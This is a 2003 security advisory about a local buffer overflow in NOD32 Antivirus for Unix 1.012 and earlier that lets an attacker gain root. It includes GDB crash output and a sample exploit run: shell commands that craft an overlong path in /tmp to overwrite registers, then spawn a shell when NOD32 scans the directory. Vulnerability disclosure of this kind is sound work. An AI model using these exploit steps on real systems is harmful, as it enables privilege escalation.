11th Feb 2003 [SBWID-5984]
COMMAND
NOD32 Antivirus Software for Unix Buffer Overflow
SYSTEMS AFFECTED
NOD32 Antivirus System for Unix version 1.012 and below is vulnerable
PROBLEM
In iDEFENSE Security Advisory [02.10.03] :
http://www.idefense.com/advisory/02.10.03.txt
With credits to Knud Erik Højgaard [[email protected]],
--snip--
Local exploitation of a buffer overflow in NOD32 for UNIX could allow
attackers to gain super-user (root) privileges. The overflow occurs
when NOD32 parses a path with a name of length greater than 500
characters (/tmp/AAAAA....AAA). An attacker can overwrite the first
three bytes of the eax and ecx registers, as can be seen from the
following GDB output:
...
Program received signal SIGSEGV, Segmentation fault.
0x4207fa78 in strcmp () from /lib/i686/libc.so.6
(gdb) bt
#0 0x4207fa78 in strcmp () from /lib/i686/libc.so.6
#1 0x0804c2ba in scan_dir ()
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) info registers
eax 0x4141414c 1094795596
ecx 0x4141414c 1094795596
...
ANALYSIS
========
Exploitation allows local code execution with the privileges of the
user who spawned NOD32. This is possible by creating an exploit path
and then socially engineering a target user into scanning over the
exploit path using NOD32. If the attacker has write permissions to a
directory that is routinely scanned with NOD32 (such as /tmp), he or
she can gain the privileges of the scanning user (usually root).
Proof of concept exploit code has been written for the FreeBSD 4.7
platform. The following is a sample exploit run that should set up
shell code in an environment variable and spawn a shell under the
privileges of the user executing NOD32:
$ perl eggnod.pl
$ mkdir -p /tmp/`perl -e 'print "A" x 255'`/`perl -e 'print "B" x 240 .
"\xfc\xbf\xbf"'`
$ nod32 /tmp
--snap--
SOLUTION
The latest version 1.013 fixes the issue and can be downloaded from
http://www.nod32.com